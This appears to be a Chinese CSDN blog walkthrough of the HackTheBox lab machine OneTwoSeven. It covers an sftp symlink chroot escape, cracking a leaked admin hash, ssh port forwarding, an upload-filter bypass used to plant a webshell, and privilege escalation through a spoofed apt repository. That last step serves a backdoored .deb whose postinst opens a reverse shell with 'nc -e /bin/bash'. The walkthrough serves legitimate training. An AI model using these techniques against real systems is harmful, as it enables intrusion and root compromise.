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前言前言

IP: 10.10.10.133

超好的盒子，跟着大佬的学到了很多东西，(youtube writeup by
IppSec)

感谢作者（@jkr）

0x00 nmap扫描扫描

ports service

22 ssh

80 web
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0x01 web

web页面的信息非常多，整理一下

sftp登陆，通过22端口

Username: ots-mMjY2ZTM
Password: 3ff266e3

主页：http://10.10.10.133/~ots-mMjY2ZTM
（也可以修改/etc/hosts onetwoseven.htb 为10.10.10.133）

chroot，这是个限制也是个提示，通过上面的发现我们知道，每个账号都被限制在一个专属目录里了，使用上面的sftp可以
在这个目录下上传文件，但是php无法解析，只能解析html，我们也没法下载其他文件夹的内容。

登陆sftp，我们可以发现symlink这个指令，它允许我们生成链接，在sftp中我们被chroot了，但是web没有啊，思路就很清晰了，
可以通过生成一个指向根目录的链接，然后在web上直接读取（权限够的话），当然，也能够生成一些页面的link，然后直接爆
源码。我们可以发现：

除了直接访问到的html文件夹下index.php等，还存在一个html-admin文件夹，里面有一个.login.php.swp，下载下来用vim复原，
可以发现



<?php if ( $_SERVER['SERVER_PORT'] != 60080 ) { die(); } ?>

<?php
            $msg = '';
            
            if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
       if ($_POST['username'] == 'ots-admin' && hash('sha256',$_POST['password']) == '11c5a42c9d74d5442ef3cc835b
da1b3e7cc7f494e704a10d0de426b2fbe5cbd8') {
                  $_SESSION['username'] = 'ots-admin';
    header("Location: /menu.php");
              } else {
                  $msg = 'Wrong username or password.';
              }
            }
 ?>

看来60080端口还有东西，但是无法直接访问，应该是web的管理页面，破解hash

获取管理页面的凭据：

username password

ots-admin Homesweethome1

看看passwd：

所以个人账户应该与ip有关，而127.0.0.1则是我们突破的关键



下一步生成链接看看index.php，以及signup.php的源码

<?php
function username() { $ip = $_SERVER['REMOTE_ADDR']; return "ots-" . substr(str_replace('=','',base64_encode(sub
str(md5($ip),0,8))),3); }
function password() { $ip = $_SERVER['REMOTE_ADDR']; return substr(md5($ip),0,8); }
?>

        <!-- Only enable link if access from trusted networks admin/20190212 -->
        <!-- Added localhost admin/20190214 -->
 <?php if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" || $_SERVER['REMOTE_ADDR'] == "104.24.0.54" ) { ?>
   <li class="nav-item"><a id="adminlink" class="nav-link enabled" href="http://onetwoseven.htb:60080/">Admin</a
></li>
 <?php  } else { ?>
   <li class="nav-item"><a id="adminlink" class="nav-link disabled" href="http://onetwoseven.htb:60080/">Admin</
a></li>
 <?php  } ?>

很容易想到我们应该构造ip为127.0.0.1的账号，利用上面的规则产生密码登陆sftp，成功找到user.txt

梳理一下我们现在拥有的信息

只有ip为127.0.0.1才能访问60080端口，也就是只有在本地才能访问这个admin管理页面

管理页面凭据：ots-admin:Homesweethome1

sftp（ssh）登陆凭据: ots-mMjY2ZTM:3ff266e3

0x02 端口转发端口转发

根据上面的信息，可以想到利用ssh的本地端口转发，但是我们在一开始就发现，ssh无法登陆，只能进行sftp登陆，看了大佬的
视频才知道，可以利用 ssh 的 -N 参数来禁止bash的功能，不打开远程的bash只进行端口转发就行了。

ssh -NL 60080:127.0.0.1:60080 ots-mMjY2ZTM@10.10.10.133



然后在本地访问60080端口，利用上面凭据进入admin页面

有一个上传插件的地方，然后有许多插件。

上传submmit按钮disable了，删掉就完了，但是上传的页面404了。。。
看看它的插件内容，发现了RewriteEngine

发现是上传的文件404是因为htaccess。，看看addons/ots-man-addon.php这个插件源码（插件都给了源码）



<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /login.php"); }; if ( strpos($_SE
RVER['REQUEST_URI'], '/addons/') !== false ) { die(); };
# OneTwoSeven Admin Plugin
# OTS Addon Manager
switch (true) {
 # Upload addon to addons folder.
 case preg_match('/\/addon-upload.php/',$_SERVER['REQUEST_URI']):
  if(isset($_FILES['addon'])){
   $errors= array();
   $file_name = basename($_FILES['addon']['name']);
   $file_size =$_FILES['addon']['size'];
   $file_tmp =$_FILES['addon']['tmp_name'];

   if($file_size > 20000){
    $errors[]='Module too big for addon manager. Please upload manually.';
   }

   if(empty($errors)==true) {
    move_uploaded_file($file_tmp,$file_name);
    header("Location: /menu.php");
    header("Content-Type: text/plain");
    echo "File uploaded successfull.y";
   } else {
    header("Location: /menu.php");
    header("Content-Type: text/plain");
    echo "Error uploading the file: ";
    print_r($errors);
   }
  }
  break;

根据正则，我们的URI中需要有“addon-upload.php”，但是不用有“addons”，利用上面的Rewrite规则构造URI：

/addon-download.php?a=/addon-upload.php

然后就能直接传马了。

0x03 后门后门deb

接下来就到了盒子的精华部分了，利用方法实在是太秒了。

1. 第一个思路是使用gtfobins.github.io提权，但是sudo需要密码，此路不通

2. 看看apt-get的更新源（/etc/apt/sources.list.d/ , /etc/apt/sources.list）

# OneTwoSeven special packages - not yet in use                                              
deb http://packages.onetwoseven.htb/devuan ascii main 

file:///C:/Users/ADMINI~1.ZB-/AppData/Local/Temp/gtfobins.github.io


可以在本地搭一个代理服务器以及web环境，使apt-get update的时候从本地下载更新包，我们就能传一个有后门的安装包，然
后使用apt-get upgrade更新，使后门生效。

具体的：

1. 使用使用burpsuite搭建代理服务器搭建代理服务器

在option 新增一个Edit proxy listener



然后需要把发送到代理服务器的所有请求全部转发到我们的web服务端口，只需要设置Redirect即可

2. 简易简易web服务服务

最简单的使用python -m 直接搭建

python -m SimpleHTTPServer

然后当前目录即为web根目录。

3. 目标机代理设置目标机代理设置

可以设置环境变量http_proxy,apt-get 会使用该环境变量指定的代理，wget也会，但不是所有应用都会。

export http_proxy=“http://port:port”



这里ip与port设置为刚刚在burp设置的ip与port
当使用指令sudo apt-get update时便会看到本地的web服务会有请求传来：

4. 准备需要的带有后门的更新包准备需要的带有后门的更新包

在burpsuite中的history可以更清晰的看到请求包，找一个package，然后在本地web目录创建相同的目录。例如：

GET /devuan/dists/ascii/main/binary-amd64/Packages.gz HTTP/1.1

然后在根目录创建上面的目录。去官网相应目录下载Packages模板，下面来修改：

https://de.deb.devuan.org


*Package: whois*
*Version: 5.4.0*
Maintainer: Franco (nextime) Lanza <nextime@devuan.org>
*Architecture: amd64*
Description: a command line interface and FUSE filesystem for Amazon Clou
 acd_cli provides a command line interface to Amazon Drive and allows Unix users to mount
 their drive using FUSE for read and (sequential) write access. It is currently in beta stage.
 Node Cache Features
 -------------------
 - local caching of node metadata in an SQLite database
 - addressing of remote nodes via a pathname (e.g. ``/Photos/kitten.jpg``)
 - file search
 CLI Features
 ------------
 - tree or flat listing of files and folders
 - simultaneous uploads/downloads, retry on error
Section: python3
*Priority: required*
*Filename: pool/main/a/acdcli/python.deb*
*Size: 42912*
*SHA256: dcbbb731d1df8bac22bd0edeb4a5db048a7845ccc041d6464e42b97d63845c55*

已标注出重要的属性。

可通过dpkg -l 来查看目标机器的包的版本，然后选择版本低的应用进行构造（version 高于目标机器）

Filename 是 web中存放deb的地方，这个貌似可以随意修改

然后构造有后门的deb文件：

1. 在设置的Filename的目录创建whois目录，进入，然后创建DEBIAN目录 mkdir DEBIAN;cd DEBIAN

2. 进入DEBIAN,创建 control postinst文件

3. control模板：

    Package: whois
    Maintainer: Debian 
    Version: 5.4.0
    Architecture: amd64
    Description: Debian

postinst文件编写sh脚本创建后门，简单点可以写个反弹shell的指令：

#! /bin/sh
nc -e /bin/bash ip port

4. chmod 555 postinst (注意注意 )

5. dpkg 打包，dpkg-deb --build /whois whois.deb

6. 可以使用 ls -al 来获取我们的deb文件的大小，然后使用sha256sum来获取获取摘要，修改我们上面的package中的内容，
最后将package打包为gz文件即可

当然可以选择其他版本低的应用，我这里使用的是whois。

5. 最后一步最后一步



本地监听 nc -nvlp port (postinst中指定的port)

目标机 sudo apt-get update

sudo apt-get upgrade

成功获取到更新包如下（Get：7）

安装，如果upgrade不成功，换个应用再来一遍。成功反弹shell



总结总结

盒子整个过程十分复杂，但是做完后很有成就感（虽然不是自己独立完成的），目前位置我做过的最难的HTB的盒子，质量也是
非常高，每一步都有提示，关键在于搜集信息。

创作打卡挑战赛 
赢取流量/现金/CSDN周边激励大奖
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